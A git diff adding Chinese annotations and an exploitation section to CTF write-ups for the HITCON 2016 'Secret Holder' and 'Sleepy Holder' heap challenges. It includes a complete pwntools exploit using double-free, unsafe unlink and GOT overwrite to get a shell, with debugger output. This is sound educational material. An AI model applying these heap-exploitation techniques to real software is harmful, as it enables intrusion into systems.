diff --git a/doc/6.1.21_pwn_hitconctf2016_secret_holder.md b/doc/6.1.21_pwn_hitconctf2016_secret_holder.md index 43da6b3..423a1ab 100644 --- a/doc/6.1.21_pwn_hitconctf2016_secret_holder.md +++ b/doc/6.1.21_pwn_hitconctf2016_secret_holder.md @@ -106,23 +106,23 @@ Which Secret do you want to wipe? | 0x004008e9 mov dword [local_14h], eax | 0x004008ec mov eax, dword [local_14h] | 0x004008ef cmp eax, 2 ; 2 -| ,=< 0x004008f2 je 0x400963 +| ,=< 0x004008f2 je 0x400963 ; big secret | | 0x004008f4 cmp eax, 3 ; 3 -| ,==< 0x004008f7 je 0x4009bc +| ,==< 0x004008f7 je 0x4009bc ; huge secret | || 0x004008fd cmp eax, 1 ; 1 -| ,===< 0x00400900 je 0x400907 +| ,===< 0x00400900 je 0x400907 ; small secret | ,====< 0x00400902 jmp 0x400a11 | |||| ; JMP XREF from 0x00400900 (sub.Which_level_of_secret_do_you_want_to_keep_86d) -| |`---> 0x00400907 mov eax, dword [0x006020c0] ; [0x6020c0:4]=0 +| |`---> 0x00400907 mov eax, dword [0x006020c0] ; small_flag,表示 small secret 是否已存在 | | || 0x0040090d test eax, eax -| |,===< 0x0040090f je 0x400916 +| |,===< 0x0040090f je 0x400916 ; small_flag 为 0 时 | ,=====< 0x00400911 jmp 0x400a11 | ||||| ; JMP XREF from 0x0040090f (sub.Which_level_of_secret_do_you_want_to_keep_86d) | ||`---> 0x00400916 mov esi, 0x28 ; '(' ; 40 | || || 0x0040091b mov edi, 1 -| || || 0x00400920 call sym.imp.calloc ; void *calloc(size_t nmeb, size_t size) -| || || 0x00400925 mov qword [0x006020b0], rax ; [0x6020b0:8]=0 -| || || 0x0040092c mov dword [0x006020c0], 1 ; [0x6020c0:4]=0 +| || || 0x00400920 call sym.imp.calloc ; calloc(1, 0x28) 为 small secret 分配空间 +| || || 0x00400925 mov qword [0x006020b0], rax ; 把地址放到 [0x006020b0] +| || || 0x0040092c mov dword [0x006020c0], 1 ; 设置 small_flag 为 1 | || || 0x00400936 mov edi, str.Tell_me_your_secret: ; 0x400e80 ; "Tell me your secret: " | || || 0x0040093b call sym.imp.puts ; int puts(const char *s) | || || 0x00400940 mov rax, qword [0x006020b0] ; [0x6020b0:8]=0 @@ -130,19 +130,19 @@ Which Secret do you want to wipe? | || || 0x0040094c mov rsi, rax | || || 0x0040094f mov edi, 0 | || || 0x00400954 mov eax, 0 -| || || 0x00400959 call sym.imp.read ; ssize_t read(int fildes, void *buf, size_t nbyte) +| || || 0x00400959 call sym.imp.read ; read(0, [0x006020b0], 0x28) 读入 small secret | ||,===< 0x0040095e jmp 0x400a11 | ||||| ; JMP XREF from 0x004008f2 (sub.Which_level_of_secret_do_you_want_to_keep_86d) -| ||||`-> 0x00400963 mov eax, dword [0x006020b8] ; [0x6020b8:4]=0 +| ||||`-> 0x00400963 mov eax, dword [0x006020b8] ; big_flag,表示 big secret 是否已存在 | |||| 0x00400969 test eax, eax -| ||||,=< 0x0040096b je 0x400972 +| ||||,=< 0x0040096b je 0x400972 ; big_flag 为 0 时 | ,======< 0x0040096d jmp 0x400a11 | |||||| ; JMP XREF from 0x0040096b (sub.Which_level_of_secret_do_you_want_to_keep_86d) | |||||`-> 0x00400972 mov esi, 0xfa0 ; 4000 | ||||| 0x00400977 mov edi, 1 -| ||||| 0x0040097c call sym.imp.calloc ; void *calloc(size_t nmeb, size_t size) -| ||||| 0x00400981 mov qword [0x006020a0], rax ; [0x6020a0:8]=0 -| ||||| 0x00400988 mov dword [0x006020b8], 1 ; [0x6020b8:4]=0 +| ||||| 0x0040097c call sym.imp.calloc ; calloc(1, 0xfa0) 为 big secret 分配空间 +| ||||| 0x00400981 mov qword [0x006020a0], rax ; 把地址放到 [0x006020a0] +| ||||| 0x00400988 mov dword [0x006020b8], 1 ; 设置 big_flag 为 1 | ||||| 0x00400992 mov edi, str.Tell_me_your_secret: ; 0x400e80 ; "Tell me your secret: " | ||||| 0x00400997 call sym.imp.puts ; int puts(const char *s) | ||||| 0x0040099c mov rax, qword [0x006020a0] ; [0x6020a0:8]=0 @@ -150,19 +150,19 @@ Which Secret do you want to wipe? | ||||| 0x004009a8 mov rsi, rax | ||||| 0x004009ab mov edi, 0 | ||||| 0x004009b0 mov eax, 0 -| ||||| 0x004009b5 call sym.imp.read ; ssize_t read(int fildes, void *buf, size_t nbyte) +| ||||| 0x004009b5 call sym.imp.read ; read(0, [0x006020a0], 0xfa0) 读入 big secret | |||||,=< 0x004009ba jmp 0x400a11 | |||||| ; JMP XREF from 0x004008f7 (sub.Which_level_of_secret_do_you_want_to_keep_86d) -| ||||`--> 0x004009bc mov eax, dword [0x006020bc] ; [0x6020bc:4]=0 +| ||||`--> 0x004009bc mov eax, dword [0x006020bc] ; huge_flag,表示 huge secret 是否已存在 | |||| | 0x004009c2 test eax, eax -| ||||,==< 0x004009c4 je 0x4009c8 +| ||||,==< 0x004009c4 je 0x4009c8 ; huge_flag 为 0 时 | ,=======< 0x004009c6 jmp 0x400a11 | ||||||| ; JMP XREF from 0x004009c4 (sub.Which_level_of_secret_do_you_want_to_keep_86d) | |||||`--> 0x004009c8 mov esi, 0x61a80 | ||||| | 0x004009cd mov edi, 1 -| ||||| | 0x004009d2 call sym.imp.calloc ; void *calloc(size_t nmeb, size_t size) -| ||||| | 0x004009d7 mov qword [0x006020a8], rax ; [0x6020a8:8]=0 -| ||||| | 0x004009de mov dword [0x006020bc], 1 ; [0x6020bc:4]=0 +| ||||| | 0x004009d2 call sym.imp.calloc ; calloc(1, 0x61a80) 为 huge secret 分配空间 +| ||||| | 0x004009d7 mov qword [0x006020a8], rax ; 把地址放到 [0x006020a8] +| ||||| | 0x004009de mov dword [0x006020bc], 1 ; 设置 huge_flag 为 1 | ||||| | 0x004009e8 mov edi, str.Tell_me_your_secret: ; 0x400e80 ; "Tell me your secret: " | ||||| | 0x004009ed call sym.imp.puts ; int puts(const char *s) | ||||| | 0x004009f2 mov rax, qword [0x006020a8] ; [0x6020a8:8]=0 @@ -170,7 +170,7 @@ Which Secret do you want to wipe? | ||||| | 0x004009fe mov rsi, rax | ||||| | 0x00400a01 mov edi, 0 | ||||| | 0x00400a06 mov eax, 0 -| ||||| | 0x00400a0b call sym.imp.read ; ssize_t read(int fildes, void *buf, size_t nbyte) +| ||||| | 0x00400a0b call sym.imp.read ; read(0, [0x006020a8], 0x61a80) 读入 huge secret | ||||| | 0x00400a10 nop | ||||| | ; XREFS: JMP 0x00400902 JMP 0x00400911 JMP 0x0040095e JMP 0x0040096d JMP 0x004009ba JMP 0x004009c6 | `````-`-> 0x00400a11 mov rax, qword [local_8h] @@ -181,6 +181,7 @@ Which Secret do you want to wipe? | `-> 0x00400a25 leave \ 0x00400a26 ret ``` +果然该函数使用 `calloc()` 为三种 secret 分别了不同大小的 chunk,small secret 属于 small chunk,big secret 和 huge secret 属于 large chunk。在分配前,会检查对应的 secret 是否已经存在,即每种 chunk 只能有一个,chunk 的指针放在 `.bss` 段上。另外其实读入 secret 的逻辑还是有问题的,它没有处理换行符,也没有在字符串末尾加 "\x00"。 #### Wipe secret ``` @@ -222,27 +223,27 @@ Which Secret do you want to wipe? | 0x00400aa3 mov dword [local_14h], eax | 0x00400aa6 mov eax, dword [local_14h] | 0x00400aa9 cmp eax, 2 ; 2 -| ,=< 0x00400aac je 0x400ad3 +| ,=< 0x00400aac je 0x400ad3 ; big secret | | 0x00400aae cmp eax, 3 ; 3 -| ,==< 0x00400ab1 je 0x400aee +| ,==< 0x00400ab1 je 0x400aee ; huge secret | || 0x00400ab3 cmp eax, 1 ; 1 | ,===< 0x00400ab6 jne 0x400b08 -| ||| 0x00400ab8 mov rax, qword [0x006020b0] ; [0x6020b0:8]=0 +| ||| 0x00400ab8 mov rax, qword [0x006020b0] ; small secret | ||| 0x00400abf mov rdi, rax -| ||| 0x00400ac2 call sym.imp.free ; void free(void *ptr) -| ||| 0x00400ac7 mov dword [0x006020c0], 0 ; [0x6020c0:4]=0 +| ||| 0x00400ac2 call sym.imp.free ; free([0x006020b0]) 释放 small secret +| ||| 0x00400ac7 mov dword [0x006020c0], 0 ; 设置 small_flag 为 0 | ,====< 0x00400ad1 jmp 0x400b08 | |||| ; JMP XREF from 0x00400aac (sub.Which_Secret_do_you_want_to_wipe_a27) | |||`-> 0x00400ad3 mov rax, qword [0x006020a0] ; [0x6020a0:8]=0 | ||| 0x00400ada mov rdi, rax -| ||| 0x00400add call sym.imp.free ; void free(void *ptr) -| ||| 0x00400ae2 mov dword [0x006020b8], 0 ; [0x6020b8:4]=0 +| ||| 0x00400add call sym.imp.free ; free([0x006020a0]) 释放 big secret +| ||| 0x00400ae2 mov dword [0x006020b8], 0 ; 设置 big_flag 为 0 | |||,=< 0x00400aec jmp 0x400b08 | |||| ; JMP XREF from 0x00400ab1 (sub.Which_Secret_do_you_want_to_wipe_a27) | ||`--> 0x00400aee mov rax, qword [0x006020a8] ; [0x6020a8:8]=0 | || | 0x00400af5 mov rdi, rax -| || | 0x00400af8 call sym.imp.free ; void free(void *ptr) -| || | 0x00400afd mov dword [0x006020bc], 0 ; [0x6020bc:4]=0 +| || | 0x00400af8 call sym.imp.free ; free([0x006020a8]) 释放 huge secret +| || | 0x00400afd mov dword [0x006020bc], 0 ; 设置 huge_flag 为 0 | || | 0x00400b07 nop | || | ; JMP XREF from 0x00400ab6 (sub.Which_Secret_do_you_want_to_wipe_a27) | || | ; JMP XREF from 0x00400ad1 (sub.Which_Secret_do_you_want_to_wipe_a27) @@ -255,6 +256,7 @@ Which Secret do you want to wipe? | `-> 0x00400b1c leave \ 0x00400b1d ret ``` +该函数在释放 secret 时,首先将对应的 chunk 释放掉,然后设置 flag 为 0。漏洞很明显,就是没有将 chunk 指针清空,存在悬指针,可能导致 use-after-free,然后在释放前,也没有检查 flag,可能导致 double-free。 #### Renew secret ``` @@ -296,14 +298,14 @@ Which Secret do you want to wipe? | 0x00400b9a mov dword [local_14h], eax | 0x00400b9d mov eax, dword [local_14h] | 0x00400ba0 cmp eax, 2 ; 2 -| ,=< 0x00400ba3 je 0x400be9 +| ,=< 0x00400ba3 je 0x400be9 ; big secret | | 0x00400ba5 cmp eax, 3 ; 3 -| ,==< 0x00400ba8 je 0x400c1f +| ,==< 0x00400ba8 je 0x400c1f ; huge secret | || 0x00400baa cmp eax, 1 ; 1 | ,===< 0x00400bad jne 0x400c52 -| ||| 0x00400bb3 mov eax, dword [0x006020c0] ; [0x6020c0:4]=0 +| ||| 0x00400bb3 mov eax, dword [0x006020c0] ; small secret | ||| 0x00400bb9 test eax, eax -| ,====< 0x00400bbb je 0x400be7 +| ,====< 0x00400bbb je 0x400be7 ; small_flag 为 0 时,函数返回 | |||| 0x00400bbd mov edi, str.Tell_me_your_secret: ; 0x400e80 ; "Tell me your secret: " | |||| 0x00400bc2 call sym.imp.puts ; int puts(const char *s) | |||| 0x00400bc7 mov rax, qword [0x006020b0] ; [0x6020b0:8]=0 @@ -311,14 +313,14 @@ Which Secret do you want to wipe? | |||| 0x00400bd3 mov rsi, rax | |||| 0x00400bd6 mov edi, 0 | |||| 0x00400bdb mov eax, 0 -| |||| 0x00400be0 call sym.imp.read ; ssize_t read(int fildes, void *buf, size_t nbyte) +| |||| 0x00400be0 call sym.imp.read ; read(0, [0x006020b0], 0x28) 否则读入 small secret | ,=====< 0x00400be5 jmp 0x400c52 | ||||| ; JMP XREF from 0x00400bbb (sub.Which_Secret_do_you_want_to_renew_b1e) | ,=`----> 0x00400be7 jmp 0x400c52 | || ||| ; JMP XREF from 0x00400ba3 (sub.Which_Secret_do_you_want_to_renew_b1e) | || ||`-> 0x00400be9 mov eax, dword [0x006020b8] ; [0x6020b8:4]=0 | || || 0x00400bef test eax, eax -| || ||,=< 0x00400bf1 je 0x400c1d +| || ||,=< 0x00400bf1 je 0x400c1d ; big_flag 为 0 时,函数返回 | || ||| 0x00400bf3 mov edi, str.Tell_me_your_secret: ; 0x400e80 ; "Tell me your secret: " | || ||| 0x00400bf8 call sym.imp.puts ; int puts(const char *s) | || ||| 0x00400bfd mov rax, qword [0x006020a0] ; [0x6020a0:8]=0 @@ -326,14 +328,14 @@ Which Secret do you want to wipe? | || ||| 0x00400c09 mov rsi, rax | || ||| 0x00400c0c mov edi, 0 | || ||| 0x00400c11 mov eax, 0 -| || ||| 0x00400c16 call sym.imp.read ; ssize_t read(int fildes, void *buf, size_t nbyte) +| || ||| 0x00400c16 call sym.imp.read ; read(0, [0x006020a0], 0xfa0) 否则读入 big secret | ||,====< 0x00400c1b jmp 0x400c52 | |||||| ; JMP XREF from 0x00400bf1 (sub.Which_Secret_do_you_want_to_renew_b1e) | ,=====`-> 0x00400c1d jmp 0x400c52 | |||||| ; JMP XREF from 0x00400ba8 (sub.Which_Secret_do_you_want_to_renew_b1e) | |||||`--> 0x00400c1f mov eax, dword [0x006020bc] ; [0x6020bc:4]=0 | ||||| 0x00400c25 test eax, eax -| ||||| ,=< 0x00400c27 je 0x400c51 +| ||||| ,=< 0x00400c27 je 0x400c51 ; huge_flag 为 0 时,函数返回 | ||||| | 0x00400c29 mov edi, str.Tell_me_your_secret: ; 0x400e80 ; "Tell me your secret: " | ||||| | 0x00400c2e call sym.imp.puts ; int puts(const char *s) | ||||| | 0x00400c33 mov rax, qword [0x006020a8] ; [0x6020a8:8]=0 @@ -341,7 +343,7 @@ Which Secret do you want to wipe? | ||||| | 0x00400c3f mov rsi, rax | ||||| | 0x00400c42 mov edi, 0 | ||||| | 0x00400c47 mov eax, 0 -| ||||| | 0x00400c4c call sym.imp.read ; ssize_t read(int fildes, void *buf, size_t nbyte) +| ||||| | 0x00400c4c call sym.imp.read ; read(0, [0x006020a8], 0x61a80) 否则读入 huge secret | ||||| | ; JMP XREF from 0x00400c27 (sub.Which_Secret_do_you_want_to_renew_b1e) | ||||| `-> 0x00400c51 nop | ||||| ; JMP XREF from 0x00400bad (sub.Which_Secret_do_you_want_to_renew_b1e) @@ -357,9 +359,264 @@ Which Secret do you want to wipe? | `-> 0x00400c66 leave \ 0x00400c67 ret ``` +该函数首先判断对应的 flag 是否为 1,即 secret 是否已经存在,如果不存在,则读入 secret,否则函数直接返回。 ## 漏洞利用 +总结一下我们知道的东西: +- small secret: small chunk, 40 bytes + - small_ptr: 0x006020b0 + - small_flag: 0x006020c0 +- big secret: large chunk, 4000 bytes + - big_ptr: 0x006020a0 + - big_flag: 0x006020b8 +- huge secret: large chunk, 400000 bytes + - huge_ptr: 0x006020a8 + - huge_flag: 0x006020bc + +漏洞: +- double-free:在 free chunk 的位置 calloc 另一个 chunk,即可再次 free 这个 chunk +- use-after-free:由于 double-free,calloc 出来的那个 chunk 被认为是 free 的,但可以使用 + +有个问题是,400000 bytes 的 huge secret 连 top chunk 都不能满足,此时会调用 `sysmalloc()`,通过 `brk()` 或者 `mmap()` 为其分配空间,该函数首先判断是否满足 `mmap()` 的分配条件,即需求 chunk 的大小大于阀值 `mp_.mmap_threshold`,且此进程通过 `mmap()` 分配的总内存数量 `mp_.n_mmaps` 小于最大值 `mp_.n_mmaps_max`: +```c + /* + If have mmap, and the request size meets the mmap threshold, and + the system supports mmap, and there are few enough currently + allocated mmapped regions, try to directly map this request + rather than expanding top. + */ + + if (av == NULL + || ((unsigned long) (nb) >= (unsigned long) (mp_.mmap_threshold) + && (mp_.n_mmaps < mp_.n_mmaps_max))) + { + [...] + /* update statistics */ + + int new = atomic_exchange_and_add (&mp_.n_mmaps, 1) + 1; + atomic_max (&mp_.max_n_mmaps, new); + + unsigned long sum; + sum = atomic_exchange_and_add (&mp_.mmapped_mem, size) + size; + atomic_max (&mp_.max_mmapped_mem, sum); + [...] + } +``` +此时将使用 `mmap()` 来分配内存。然而这样得到的内存将与初始堆(由`brk()`分配,位于`.bss`段附近)的位置相距很远,难以利用。所以我们要想办法使用 `brk()` 来分配,好消息是由于性能的关系,在该函数结束时更新了 `mp_.max_n_mmaps`,使得下一次的分配将使得判断条件不成立,即使用 `brk()`。 + +#### unsafe unlink +```python +def unlink(): + keep(1) + wipe(1) + keep(2) # big + wipe(1) # double free + keep(1) # small + keep(3) + wipe(3) + keep(3) # huge + + payload = p64(0) # fake prev_size + payload += p64(0x21) # fake size + payload += p64(small_ptr - 0x18) # fake fd + payload += p64(small_ptr - 0x10) # fake bk + payload += p64(0x20) # fake prev_size + payload += p64(0x61a90) # fake size + renew(2, payload) + + wipe(3) # unsafe unlink +``` + +首先制造 double free: +``` +gdb-peda$ x/5gx 0x006020a0 +0x6020a0: 0x0000000000603010 0x0000000000603040 +0x6020b0: 0x0000000000603010 0x0000000100000001 +0x6020c0: 0x0000000000000001 +gdb-peda$ x/10gx 0x00603010-0x10 +0x603000: 0x0000000000000000 0x0000000000000031 <-- small, big +0x603010: 0x0000000041414141 0x0000000000000000 +0x603020: 0x0000000000000000 0x0000000000000000 +0x603030: 0x0000000000000000 0x0000000000061a91 <-- huge +0x603040: 0x0000000041414141 0x0000000000000000 +``` +然后在 big secret 里布置一个 fake chunk: +``` +gdb-peda$ x/5gx 0x006020a0 +0x6020a0: 0x0000000000603010 0x0000000000603040 +0x6020b0: 0x0000000000603010 0x0000000100000001 +0x6020c0: 0x0000000000000001 +gdb-peda$ x/10gx 0x00603010-0x10 +0x603000: 0x0000000000000000 0x0000000000000031 <-- small, big +0x603010: 0x0000000000000000 0x0000000000000021 <-- fake chunk +0x603020: 0x0000000000602098 0x00000000006020a0 <-- fd, bk pointer +0x603030: 0x0000000000000020 0x0000000000061a90 <-- huge +0x603040: 0x0000000041414141 0x0000000000000000 +gdb-peda$ x/gx 0x00602098 + 0x18 +0x6020b0: 0x0000000000603010 <-- P->fd->bk = P +gdb-peda$ x/gx 0x006020a0 + 0x10 +0x6020b0: 0x0000000000603010 <-- P->bk->fd = P +``` +释放 huge secret,即可触发 unsafe unlink: +``` +gdb-peda$ x/6gx 0x00602098 +0x602098: 0x0000000000000000 0x0000000000603010 +0x6020a8: 0x0000000000603040 0x0000000000602098 <-- fake chunk ptr +0x6020b8: 0x0000000000000001 0x0000000000000001 +``` +于是我们就获得了修改 `.bss` 段的能力。 + +#### leak libc +```python +def leak(): + global system_addr + + payload = "A" * 8 + payload += p64(elf.got['free']) # big_ptr -> free@got.plt + payload += "A" * 8 + payload += p64(big_ptr) # small_ptr -> big_ptr + renew(1, payload) + renew(2, p64(elf.plt['puts'])) # free@got.plt -> puts@plt + renew(1, p64(elf.got['puts'])) # big_ptr -> puts@got.plt + + wipe(2) + puts_addr = u64(io.recvline()[:6] + "\x00\x00") + libc_base = puts_addr - libc.symbols['puts'] + system_addr = libc_base + libc.symbols['system'] + + log.info("libc base: 0x%x" % libc_base) + log.info("system address: 0x%x" % system_addr) +``` + +修改 big_ptr 指向 `free@got.plt`,small_ptr 指向 big_ptr: +``` +gdb-peda$ x/6gx 0x00602098 +0x602098: 0x4141414141414141 0x0000000000602018 +0x6020a8: 0x4141414141414141 0x00000000006020a0 +0x6020b8: 0x0000000000000001 0x0000000000000001 +gdb-peda$ x/gx 0x00602018 +0x602018 : 0x00007ffff7a91a70 +``` +修改 `free@got.plt` 为 `puts@plt`,big_ptr 指向 `puts@got.plt`: +``` +gdb-peda$ x/6gx 0x00602098 +0x602098: 0x4141414141414141 0x0000000000602020 +0x6020a8: 0x4141414141414141 0x00000000006020a0 +0x6020b8: 0x0000000000000001 0x0000000000000001 +gdb-peda$ x/gx 0x00602018 +0x602018 : 0x00000000004006c0 +gdb-peda$ x/gx 0x00602020 +0x602020 : 0x00007ffff7a7d5d0 +``` +此时释放 big secret,其实就是 `puts(puts_addr)`,通过偏移计算即可得到 libc 基址和 one-gadget 地址。 + +#### pwn +```python +def pwn(): + payload = "A" * 0x10 + payload += p64(elf.got['puts']) # small_ptr -> puts@got.plt + renew(1, payload) + + renew(1, p64(one_gadget)) # puts@got.plt -> one_gadget + io.interactive() +``` +最后可以通过两次修改,将 `puts@got.plt` 修改为 one-gadget,获得 shell。 + +开启 ASLR,Bingo!!! +``` +$ python exp.py +[+] Starting local process './SecretHolder': pid 6979 +[*] libc base: 0x7f34e24ae000 +[*] one_gadget address: 0x7f34e24f325a +[*] Switching to interactive mode +$ whoami +firmy +``` + +#### exploit +完整的 exp 如下: +```python +#!/usr/bin/env python + +from pwn import * + +#context.log_level = 'debug' + +io = process(['./SecretHolder'], env={'LD_PRELOAD':'./libc.so.6'}) +elf = ELF('SecretHolder') +libc = ELF('libc.so.6') + +small_ptr = 0x006020b0 +big_ptr = 0x006020a0 + +def keep(idx): + io.sendlineafter("Renew secret\n", '1') + io.sendlineafter("Huge secret\n", str(idx)) + io.sendafter("secret: \n", 'AAAA') + +def wipe(idx): + io.sendlineafter("Renew secret\n", '2') + io.sendlineafter("Huge secret\n", str(idx)) + +def renew(idx, content): + io.sendlineafter("Renew secret\n", '3') + io.sendlineafter("Huge secret\n", str(idx)) + io.sendafter("secret: \n", content) + +def unlink(): + keep(1) + wipe(1) + keep(2) # big + wipe(1) # double free + keep(1) # small + keep(3) + wipe(3) + keep(3) # huge + + payload = p64(0) # fake prev_size + payload += p64(0x21) # fake size + payload += p64(small_ptr - 0x18) # fake fd + payload += p64(small_ptr - 0x10) # fake bk + payload += p64(0x20) # fake prev_size + payload += p64(0x61a90) # fake size + renew(2, payload) + + wipe(3) # unsafe unlink + +def leak(): + global one_gadget + + payload = "A" * 8 + payload += p64(elf.got['free']) # big_ptr -> free@got.plt + payload += "A" * 8 + payload += p64(big_ptr) # small_ptr -> big_ptr + renew(1, payload) + renew(2, p64(elf.plt['puts'])) # free@got.plt -> puts@plt + renew(1, p64(elf.got['puts'])) # big_ptr -> puts@got.plt + + wipe(2) + puts_addr = u64(io.recvline()[:6] + "\x00\x00") + libc_base = puts_addr - libc.symbols['puts'] + one_gadget = libc_base + 0x4525a + + log.info("libc base: 0x%x" % libc_base) + log.info("one_gadget address: 0x%x" % one_gadget) + +def pwn(): + payload = "A" * 0x10 + payload += p64(elf.got['puts']) # small_ptr -> puts@got.plt + renew(1, payload) + + renew(1, p64(one_gadget)) # puts@got.plt -> one_gadget + io.interactive() + +if __name__ == "__main__": + unlink() + leak() + pwn() +``` + ## 参考资料 - https://ctftime.org/task/2954 diff --git a/doc/6.1.22_pwn_hitconctf2016_sleepy_holder.md b/doc/6.1.22_pwn_hitconctf2016_sleepy_holder.md index 6be2d4e..5c7b73f 100644 --- a/doc/6.1.22_pwn_hitconctf2016_sleepy_holder.md +++ b/doc/6.1.22_pwn_hitconctf2016_sleepy_holder.md @@ -95,11 +95,11 @@ Which Secret do you want to wipe? | 0x00400963 call sym.imp.puts ; int puts(const char *s) | 0x00400968 mov edi, str.2._Big_secret ; 0x400f19 ; "2. Big secret" | 0x0040096d call sym.imp.puts ; int puts(const char *s) -| 0x00400972 mov eax, dword [0x006020dc] ; [0x6020dc:4]=0 +| 0x00400972 mov eax, dword [0x006020dc] ; huge_flag,表示 huge secret 是否已存在 | 0x00400978 test eax, eax -| ,=< 0x0040097a jne 0x400986 +| ,=< 0x0040097a jne 0x400986 ; huge_flag 为 1 时跳转 | | 0x0040097c mov edi, str.3._Keep_a_huge_secret_and_lock_it_forever ; 0x400f28 ; "3. Keep a huge secret and lock it forever" -| | 0x00400981 call sym.imp.puts ; int puts(const char *s) +| | 0x00400981 call sym.imp.puts ; 否则打印出来 | | ; JMP XREF from 0x0040097a (sub.What_secret_do_you_want_to_keep_93d) | `-> 0x00400986 lea rax, [local_10h] | 0x0040098a mov edx, 4 @@ -118,23 +118,23 @@ Which Secret do you want to wipe? | 0x004009c3 mov dword [local_14h], eax | 0x004009c6 mov eax, dword [local_14h] | 0x004009c9 cmp eax, 2 ; 2 -| ,=< 0x004009cc je 0x400a3d +| ,=< 0x004009cc je 0x400a3d ; big secret | | 0x004009ce cmp eax, 3 ; 3 -| ,==< 0x004009d1 je 0x400a96 +| ,==< 0x004009d1 je 0x400a96 ; huge secret | || 0x004009d7 cmp eax, 1 ; 1 -| ,===< 0x004009da je 0x4009e1 +| ,===< 0x004009da je 0x4009e1 ; small secret | ,====< 0x004009dc jmp 0x400aeb | |||| ; JMP XREF from 0x004009da (sub.What_secret_do_you_want_to_keep_93d) -| |`---> 0x004009e1 mov eax, dword [0x006020e0] ; [0x6020e0:4]=0 +| |`---> 0x004009e1 mov eax, dword [0x006020e0] ; small_flag,表示 small secret 是否已存在 | | || 0x004009e7 test eax, eax -| |,===< 0x004009e9 je 0x4009f0 +| |,===< 0x004009e9 je 0x4009f0 ; small_flag 为 0 时 | ,=====< 0x004009eb jmp 0x400aeb | ||||| ; JMP XREF from 0x004009e9 (sub.What_secret_do_you_want_to_keep_93d) | ||`---> 0x004009f0 mov esi, 0x28 ; '(' ; 40 | || || 0x004009f5 mov edi, 1 -| || || 0x004009fa call sym.imp.calloc ; void *calloc(size_t nmeb, size_t size) -| || || 0x004009ff mov qword [0x006020d0], rax ; [0x6020d0:8]=0 -| || || 0x00400a06 mov dword [0x006020e0], 1 ; [0x6020e0:4]=0 +| || || 0x004009fa call sym.imp.calloc ; calloc(1, 0x28) 为 small secret 分配空间 +| || || 0x004009ff mov qword [0x006020d0], rax ; 把地址放到 [0x006020d0] +| || || 0x00400a06 mov dword [0x006020e0], 1 ; 设置 small_flag 为 1 | || || 0x00400a10 mov edi, str.Tell_me_your_secret: ; 0x400f52 ; "Tell me your secret: " | || || 0x00400a15 call sym.imp.puts ; int puts(const char *s) | || || 0x00400a1a mov rax, qword [0x006020d0] ; [0x6020d0:8]=0 @@ -142,19 +142,19 @@ Which Secret do you want to wipe? | || || 0x00400a26 mov rsi, rax | || || 0x00400a29 mov edi, 0 | || || 0x00400a2e mov eax, 0 -| || || 0x00400a33 call sym.imp.read ; ssize_t read(int fildes, void *buf, size_t nbyte) +| || || 0x00400a33 call sym.imp.read ; read(0, [0x006020d0], 0x28) 读入 small secret | ||,===< 0x00400a38 jmp 0x400aeb | ||||| ; JMP XREF from 0x004009cc (sub.What_secret_do_you_want_to_keep_93d) -| ||||`-> 0x00400a3d mov eax, dword [0x006020d8] ; [0x6020d8:4]=0 +| ||||`-> 0x00400a3d mov eax, dword [0x006020d8] ; big_flag,表示 big secret 是否已存在 | |||| 0x00400a43 test eax, eax -| ||||,=< 0x00400a45 je 0x400a4c +| ||||,=< 0x00400a45 je 0x400a4c ; big_flag 为 0 时 | ,======< 0x00400a47 jmp 0x400aeb | |||||| ; JMP XREF from 0x00400a45 (sub.What_secret_do_you_want_to_keep_93d) | |||||`-> 0x00400a4c mov esi, 0xfa0 ; 4000 | ||||| 0x00400a51 mov edi, 1 -| ||||| 0x00400a56 call sym.imp.calloc ; void *calloc(size_t nmeb, size_t size) -| ||||| 0x00400a5b mov qword [0x006020c0], rax ; [0x6020c0:8]=0 -| ||||| 0x00400a62 mov dword [0x006020d8], 1 ; [0x6020d8:4]=0 +| ||||| 0x00400a56 call sym.imp.calloc ; calloc(1, 0xfa0) 为 big secret 分配空间 +| ||||| 0x00400a5b mov qword [0x006020c0], rax ; 把地址放到 [0x006020c0] +| ||||| 0x00400a62 mov dword [0x006020d8], 1 ; 设置 big_flag 为 1 | ||||| 0x00400a6c mov edi, str.Tell_me_your_secret: ; 0x400f52 ; "Tell me your secret: " | ||||| 0x00400a71 call sym.imp.puts ; int puts(const char *s) | ||||| 0x00400a76 mov rax, qword [0x006020c0] ; [0x6020c0:8]=0 @@ -162,19 +162,19 @@ Which Secret do you want to wipe? | ||||| 0x00400a82 mov rsi, rax | ||||| 0x00400a85 mov edi, 0 | ||||| 0x00400a8a mov eax, 0 -| ||||| 0x00400a8f call sym.imp.read ; ssize_t read(int fildes, void *buf, size_t nbyte) +| ||||| 0x00400a8f call sym.imp.read ; read(0, [0x006020c0], 0xfa0) 读入 big secret | |||||,=< 0x00400a94 jmp 0x400aeb | |||||| ; JMP XREF from 0x004009d1 (sub.What_secret_do_you_want_to_keep_93d) -| ||||`--> 0x00400a96 mov eax, dword [0x006020dc] ; [0x6020dc:4]=0 +| ||||`--> 0x00400a96 mov eax, dword [0x006020dc] ; huge_flag,表示 huge secret 是否已存在 | |||| | 0x00400a9c test eax, eax -| ||||,==< 0x00400a9e je 0x400aa2 +| ||||,==< 0x00400a9e je 0x400aa2 ; huge_flag 为 0 时 | ,=======< 0x00400aa0 jmp 0x400aeb | ||||||| ; JMP XREF from 0x00400a9e (sub.What_secret_do_you_want_to_keep_93d) | |||||`--> 0x00400aa2 mov esi, 0x61a80 | ||||| | 0x00400aa7 mov edi, 1 -| ||||| | 0x00400aac call sym.imp.calloc ; void *calloc(size_t nmeb, size_t size) -| ||||| | 0x00400ab1 mov qword [0x006020c8], rax ; [0x6020c8:8]=0 -| ||||| | 0x00400ab8 mov dword [0x006020dc], 1 ; [0x6020dc:4]=0 +| ||||| | 0x00400aac call sym.imp.calloc ; calloc(1, 0x61a80) 为 huge secret 分配空间 +| ||||| | 0x00400ab1 mov qword [0x006020c8], rax ; 把地址放到 [0x006020c8] +| ||||| | 0x00400ab8 mov dword [0x006020dc], 1 ; 设置 huge_flag 为 1 | ||||| | 0x00400ac2 mov edi, str.Tell_me_your_secret: ; 0x400f52 ; "Tell me your secret: " | ||||| | 0x00400ac7 call sym.imp.puts ; int puts(const char *s) | ||||| | 0x00400acc mov rax, qword [0x006020c8] ; [0x6020c8:8]=0 @@ -182,7 +182,7 @@ Which Secret do you want to wipe? | ||||| | 0x00400ad8 mov rsi, rax | ||||| | 0x00400adb mov edi, 0 | ||||| | 0x00400ae0 mov eax, 0 -| ||||| | 0x00400ae5 call sym.imp.read ; ssize_t read(int fildes, void *buf, size_t nbyte) +| ||||| | 0x00400ae5 call sym.imp.read ; read(0, [0x006020c8], 